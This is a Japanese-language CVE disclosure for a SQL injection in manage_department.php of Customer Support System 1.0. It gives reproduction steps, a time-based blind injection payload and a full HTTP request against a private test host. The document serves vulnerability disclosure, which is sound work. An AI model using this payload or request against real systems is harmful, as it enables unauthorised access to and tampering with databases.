CVE-2023-49968

Customer Support System 1.0 - manage_department.php における SQL インジェクションの脆弱性（"id" URL パラメータ経由）

説明: Customer Support System バージョン1に SQL インジェクションの脆弱性が存在します。悪意のある攻撃者は、部署を編集する際に 'id' URL パラメータを操作して、MySQL データベース上で SQL コマンドを実行できます。

脆弱な製品バージョン: Customer Support System 1.0
CVE 作成者: Geraldo Alcântara
日付: 2023/11/28
確認日: 2023/12/19
CVE: CVE-2023-49968
テスト環境: Windows

再現手順:

1. アプリケーションにログインします。
2. 部署編集ページに移動し、「Action」ボタンをクリックして「Edit」を選択します。
3. 'id' パラメータが渡され、悪意のあるペイロードを挿入できるようになります。 ペイロード: (select*from(select(sleep(5)))a)

リクエスト:

GET /customer_support/manage_department.php?id=(select*from(select(sleep(5)))a) HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=department_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n

発見者・クレジット:
Geraldo Alcântara